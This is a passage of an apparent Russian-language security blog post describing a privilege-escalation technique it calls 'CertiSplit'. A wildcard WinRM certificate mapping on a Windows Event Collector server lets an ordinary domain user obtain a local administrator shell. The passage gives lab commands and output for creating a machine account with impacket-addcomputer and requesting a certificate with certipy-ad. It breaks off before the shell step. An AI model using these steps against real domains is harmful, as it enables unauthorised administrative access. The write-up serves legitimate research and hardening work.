{"id":499635,"date":"2026-10-21T16:50:33","date_gmt":"2026-10-21T13:50:33","guid":{"rendered":"https:\/\/savepearlharbor.com\/?p=499635"},"modified":"2026-10-21T16:50:33","modified_gmt":"2026-10-21T13:50:33","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=499635","title":{"rendered":"\u041d\u0435\u043e\u0447\u0435\u0432\u0438\u0434\u043d\u044b\u0439 Privesc \u0447\u0435\u0440\u0435\u0437 WEC \u0438 WinRM: \u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 = \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0439 shell"},"content":{"rendered":"<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p>\u041f\u0440\u0438\u0432\u0435\u0442! \u0421\u0435\u0433\u043e\u0434\u043d\u044f \u0440\u0430\u0437\u0431\u0435\u0440\u0451\u043c \u043d\u0435\u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 Windows, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u043f\u0440\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0438\u00a0<strong>Windows Event Collector (WEC)<\/strong>\u00a0\u0438\u00a0<strong>WinRM certificate authentication<\/strong>.<\/p>\n<p>\u041f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043c \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044e: \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u043e\u0431\u044b\u0447\u043d\u0430\u044f \u0434\u043e\u043c\u0435\u043d\u043d\u0430\u044f \u0423\u0417 \u0431\u0435\u0437 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u0440\u0430\u0432. \u041c\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0434\u043b\u044f \u043d\u0435\u0451 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u043e\u0442 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0423\u0426, \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u043c\u0441\u044f \u043a WEC \u043f\u043e WinRM HTTPS \u0438 \u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u043c\u0441\u044f \u0432 PowerShell-\u0441\u0435\u0441\u0441\u0438\u0438\u00a0<strong>\u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043a\u043e\u043b\u043b\u0435\u043a\u0442\u043e\u0440\u0430<\/strong>. \u0411\u0435\u0437 \u043a\u0440\u0430\u0436\u0438 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432, \u043f\u043e\u0434\u043c\u0435\u043d\u044b SID, ESC-\u0430\u0442\u0430\u043a \u0438\u043b\u0438 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 CA.<\/p>\n<p>\u0417\u0432\u0443\u0447\u0438\u0442 \u0441\u0442\u0440\u0430\u043d\u043d\u043e, \u043d\u043e \u0432\u0441\u044f \u043c\u0430\u0433\u0438\u044f \u0432 \u043e\u0434\u043d\u043e\u043c \u043f\u0440\u0430\u0432\u0438\u043b\u0435 \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432. \u0418\u0441\u0441\u043b\u0435\u0434\u0443\u0435\u043c\u044b\u0439 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u044f \u043d\u0430\u0437\u0432\u0430\u043b &#171;<strong>CertiSplit<\/strong>&#171;. \u041d\u0438\u0436\u0435 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u043a\u0430\u043a \u043e\u043d \u0443\u0441\u0442\u0440\u043e\u0435\u043d, \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0451\u043c \u0434\u0432\u0430 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430, \u0440\u0430\u0437\u0431\u0435\u0440\u0451\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0435 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u044b \u0438, \u043a\u043e\u043d\u0435\u0447\u043d\u043e, \u043d\u0430\u0439\u0434\u0451\u043c \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b.<\/p>\n<p>\u0415\u0441\u0442\u044c \u0438 \u0432\u0442\u043e\u0440\u043e\u0439 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442:\u00a0<strong>\u0434\u0430\u0436\u0435 \u043f\u0440\u0438 \u0432\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u043c UAC \u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u043c\u00a0<\/strong><code><strong>LocalAccountTokenFilterPolicy=0<\/strong><\/code><strong>\u00a0\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043d\u044b\u0439 \u0432\u0445\u043e\u0434 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u043b \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0439 shell<\/strong>. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043f\u0440\u044f\u043c\u043e\u0439 \u0432\u0445\u043e\u0434 \u043f\u043e \u043f\u0430\u0440\u043e\u043b\u044e \u043f\u043e\u0434 \u0442\u043e\u0439 \u0436\u0435 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0423\u0417 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043b\u0441\u044f. \u041a \u044d\u0442\u043e\u043c\u0443 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044e \u0432\u0435\u0440\u043d\u0451\u043c\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u2014 \u043e\u043d\u043e \u043c\u043d\u043e\u0433\u043e\u0435 \u043e\u0431\u044a\u044f\u0441\u043d\u044f\u0435\u0442.<\/p>\n<h3>\u0422\u0435\u043e\u0440\u0438\u044f: \u043f\u0440\u0438 \u0447\u0451\u043c \u0437\u0434\u0435\u0441\u044c WEC \u0438 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b?<\/h3>\n<p><strong>Windows Event Collector<\/strong>\u00a0\u2014 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 Windows, \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u044e\u0449\u0438\u0439 \u0441\u043e\u0431\u044b\u0442\u0438\u044f \u043e\u0442 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432. \u0412 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0435\u00a0<em>source-initiated subscription<\/em>\u00a0\u0441\u0430\u043c\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u044b\u0442\u0438\u044f \u043a\u043e\u043b\u043b\u0435\u043a\u0442\u043e\u0440\u0443. \u0414\u043b\u044f \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f WS-Management\/WinRM, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043f\u043e HTTPS (<code>TCP\/5986<\/code>) \u0441 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u043c\u0438 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430\u043c\u0438.<\/p>\n<p>\u0412\u00a0<a href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/wec\/setting-up-a-source-initiated-subscription\" rel=\"noopener nofollow\">\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 Microsoft \u043f\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0435 WEC \u0441 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430\u043c\u0438<\/a>\u00a0\u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0443\u044e \u0443\u0447\u0451\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435-\u043a\u043e\u043b\u043b\u0435\u043a\u0442\u043e\u0440\u0435, \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0435\u0451 \u0432\u00a0<code>Administrators<\/code>\u00a0\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c certificate mapping:<\/p>\n<pre><code class=\"powershell\">winrm create winrm\/config\/service\/certmapping?Issuer=&lt;CA_THUMBPRINT&gt;+Subject=*+URI=* '@{UserName=\"&lt;LOCAL_USER&gt;\";Password=\"&lt;PASSWORD&gt;\"}' -remote:localhost<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper\"><\/span><\/a><\/div><\/pre>\n<p>\u0412 \u043c\u043e\u0435\u0439 \u043b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:<\/p>\n<pre><code class=\"powershell\">Issuer \u00a0 = 8BD6095055F61EACD707227A2DD151D91A2DB5C2Subject \u00a0= *URI \u00a0 \u00a0 \u00a0= *UserName = SRV01\\CERTMAP-ADMINEnabled \u00a0= true<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0417\u0434\u0435\u0441\u044c \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u0442\u0440\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430:<\/p>\n<ul>\n<li>\n<p><code>Issuer<\/code>\u00a0\u2014 \u043e\u0442\u043f\u0435\u0447\u0430\u0442\u043e\u043a \u0423\u0426, \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u0432\u0448\u0435\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0439 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442.<\/p>\n<\/li>\n<li>\n<p><code>Subject=*<\/code>\u00a0\u2014 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u043d\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043e \u043e\u0434\u043d\u0438\u043c \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u043c \u0441\u0443\u0431\u044a\u0435\u043a\u0442\u043e\u043c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430.<\/p>\n<\/li>\n<li>\n<p><code>URI=*<\/code>\u00a0\u2014 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043c\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043a \u0440\u0435\u0441\u0443\u0440\u0441\u0443 \u043f\u0435\u0440\u0435\u0441\u044b\u043b\u043a\u0438 \u0441\u043e\u0431\u044b\u0442\u0438\u0439 WEC, \u043d\u043e \u0438 \u043a \u0434\u0440\u0443\u0433\u0438\u043c \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u043c WS-Management, \u0432\u043a\u043b\u044e\u0447\u0430\u044f\u00a0<strong>WinRM shell<\/strong>.<\/p>\n<\/li>\n<\/ul>\n<p>\u041f\u043e\u0441\u043b\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430 WinRM \u043d\u0430\u0445\u043e\u0434\u0438\u0442 \u043f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0435\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u0443\u044e \u0432 \u043d\u0451\u043c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0443\u044e \u0423\u0417. \u0415\u0441\u043b\u0438 \u044d\u0442\u043e \u0447\u043b\u0435\u043d\u00a0<code>Administrators<\/code>\u00a0\u0438 \u0440\u0435\u0441\u0443\u0440\u0441 shell \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434:\u00a0<strong>\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u0432\u044b\u0434\u0430\u043d \u043e\u0431\u044b\u0447\u043d\u043e\u043c\u0443 \u0441\u0443\u0431\u044a\u0435\u043a\u0442\u0443 AD, \u0430 \u0441\u0435\u0430\u043d\u0441 \u043d\u0430 WEC \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0434\u0440\u0443\u0433\u043e\u0433\u043e, \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f<\/strong>.<\/p>\n<p>\u0421\u0445\u0435\u043c\u0430\u0442\u0438\u0447\u043d\u043e:<\/p>\n<figure class=\"full-width \"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/extt\/d7\/f0\/81\/d7f08188aa70ab1e3dfbf3e6605fe520.png\" width=\"1036\" height=\"1974\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/extt\/d7\/f0\/81\/d7f08188aa70ab1e3dfbf3e6605fe520.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/extt\/d7\/f0\/81\/d7f08188aa70ab1e3dfbf3e6605fe520.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/figure>\n<p>\u042d\u0442\u043e\u00a0<strong>\u043d\u0435 \u043e\u0431\u0445\u043e\u0434\u00a0<\/strong><code><strong>Issuer<\/strong><\/code><strong>,\u00a0<\/strong><code><strong>Subject<\/strong><\/code><strong>\u00a0\u0438\u043b\u0438\u00a0<\/strong><code><strong>URI<\/strong><\/code>: \u0434\u0430\u043b\u0435\u0435 \u043c\u044b \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0443\u0431\u0435\u0434\u0438\u043c\u0441\u044f, \u0447\u0442\u043e URI-\u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u044f \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432 \u0448\u0438\u0440\u043e\u043a\u043e\u0439 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0435 \u0434\u043e\u0432\u0435\u0440\u0438\u044f \u0438 \u043f\u0440\u0430\u0432\u0430\u0445 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0430, \u043a \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u043f\u0440\u0438\u0432\u044f\u0437\u0430\u043d \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442.<\/p>\n<p><strong>\u0415\u0441\u0442\u044c \u0432\u0430\u0436\u043d\u044b\u0439 \u043d\u044e\u0430\u043d\u0441:<\/strong>\u00a0Microsoft \u0432 \u0442\u043e\u0439 \u0436\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438\u00a0<strong>\u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u0443\u044e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0443\u044e \u0423\u0417 \u043c\u043e\u0436\u043d\u043e (\u0442\u0443\u0442 \u043f\u0440\u043e\u0448\u0443 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u044d\u0442\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f) \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u043f\u043e\u0441\u043b\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 WEC<\/strong>: \u0434\u043b\u044f \u0441\u0430\u043c\u043e\u0439 \u043f\u0435\u0440\u0435\u0441\u044b\u043b\u043a\u0438 \u0441\u043e\u0431\u044b\u0442\u0438\u0439 \u043e\u043d\u0430 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f impersonation. \u0422\u043e \u0435\u0441\u0442\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442, \u0435\u0441\u043b\u0438 \u0448\u0438\u0440\u043e\u043a\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u043e\u0441\u0442\u0430\u043b\u0438\u0441\u044c \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.<\/p>\n<h3>\u041f\u0440\u0430\u043a\u0442\u0438\u043a\u0430: \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0439 shell<\/h3>\n<p>\u0414\u043b\u044f \u0442\u0435\u0441\u0442\u043e\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0441\u0442\u0435\u043d\u0434:<\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<th>\n<p align=\"left\">\u041a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442<\/p>\n<\/th>\n<th>\n<p align=\"left\">\u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435<\/p>\n<\/th>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">\u0414\u043e\u043c\u0435\u043d \/ CA<\/p>\n<\/td>\n<td>\n<p align=\"left\"><code>test.local<\/code>\u00a0\/\u00a0<code>TEST-ROOT-CA<\/code><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">DC + AD CS<\/p>\n<\/td>\n<td>\n<p align=\"left\"><code>dc01.test.local<\/code>\u00a0(<code>192.168.1.1<\/code>)<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">WEC<\/p>\n<\/td>\n<td>\n<p align=\"left\"><code>srv01.test.local<\/code>\u00a0(<code>192.168.1.20<\/code>)<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">\u0426\u0435\u043b\u0435\u0432\u0430\u044f \u041e\u0421<\/p>\n<\/td>\n<td>\n<p align=\"left\">Windows Server 2019, build\u00a0<code>17763.9020<\/code>,\u00a0<code>KB5099538<\/code><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">WinRM HTTPS<\/p>\n<\/td>\n<td>\n<p align=\"left\"><code>5986\/TCP<\/code><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">\u0418\u0441\u0445\u043e\u0434\u043d\u0430\u044f \u0423\u0417<\/p>\n<\/td>\n<td>\n<p align=\"left\"><code>TEST\\bob<\/code>\u00a0\u2014 \u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u0434\u043e\u043c\u0435\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">\u0421\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0423\u0417<\/p>\n<\/td>\n<td>\n<p align=\"left\"><code>SRV01\\CERTMAP-ADMIN<\/code>\u00a0\u2014 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<h4>\u0412\u0430\u0440\u0438\u0430\u043d\u0442 \u2116 1. Machine-\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u0447\u0435\u0440\u0435\u0437 MachineAccountQuota<\/h4>\n<p>\u0412\u0434\u043e\u0445\u043d\u043e\u0432\u0438\u0432\u0448\u0438\u0441\u044c \u0441\u0438\u043b\u043e\u0439 MAQ \u0432 Certighost, \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u044f \u043f\u043e\u0448\u0451\u043b \u0447\u0435\u0440\u0435\u0437 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0443\u00a0<code>TEST\\bob<\/code>\u00a0\u043d\u0435 \u0431\u044b\u043b\u043e \u043f\u0440\u0430\u0432 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0434\u043e\u043c\u0435\u043d\u0430 \u2014 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0439 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u044b\u0435 \u043e\u0431\u044a\u0435\u043a\u0442\u044b, \u0435\u0441\u043b\u0438 \u043e\u043d\u0430 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0430 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0435\u0439 AD.<\/p>\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c\u00a0<code>ms-DS-MachineAccountQuota<\/code>\u00a0\u0447\u0435\u0440\u0435\u0437 LDAP:<\/p>\n<pre><code class=\"bash\">ldapsearch -x -H ldap:\/\/192.168.1.1 -D 'bob@test.local' -W \\\u00a0 -b 'DC=test,DC=local' -s base ms-DS-MachineAccountQuota<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442:<\/p>\n<pre><code class=\"powershell\">ms-DS-MachineAccountQuota: 10<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0421\u043e\u0437\u0434\u0430\u0451\u043c \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u0443\u044e \u043c\u0430\u0448\u0438\u043d\u043d\u0443\u044e \u0423\u0417:<\/p>\n<pre><code class=\"bash\">impacket-addcomputer -dc-ip 192.168.1.1 \\\u00a0 -computer-name 'BOBPC01$' \\\u00a0 -computer-pass '&lt;LAB_MACHINE_PASSWORD&gt;' \\\u00a0 'test.local\/bob'<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<pre><code class=\"bash\">Successfully added machine account BOBPC01$<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0414\u043b\u044f \u043e\u0431\u044a\u0435\u043a\u0442\u0430 \u0437\u0430\u0434\u0430\u0432\u0430\u043b\u0438\u0441\u044c\u00a0<code>dNSHostName=bobpc01.test.local<\/code>\u00a0\u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435\u00a0<code>HOST\/<\/code>\u00a0\u0438\u00a0<code>RestrictedKrbHost\/<\/code>\u00a0SPN. \u0417\u0430\u0442\u0435\u043c \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u044b \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u043c\u00a0<strong>\u043e\u0431\u044b\u0447\u043d\u044b\u0439<\/strong>\u00a0\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u0438\u0437 \u0448\u0430\u0431\u043b\u043e\u043d\u0430\u00a0<code>Machine<\/code>:<\/p>\n<pre><code class=\"bash\">certipy-ad req \\\u00a0 -u 'BOBPC01$@test.local' \\\u00a0 -p '&lt;LAB_MACHINE_PASSWORD&gt;' \\\u00a0 -dc-ip 192.168.1.1 \\\u00a0 -target dc01.test.local \\\u00a0 -ca TEST-ROOT-CA \\\u00a0 -template Machine \\\u00a0 -out bobpc01<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<pre><code class=\"bash\">Successfully requested certificateSaved certificate and private key to bobpc01.pfx<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u041d\u0438\u043a\u0430\u043a\u043e\u0433\u043e ESC-\u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f \u0437\u0434\u0435\u0441\u044c \u043d\u0435\u0442. 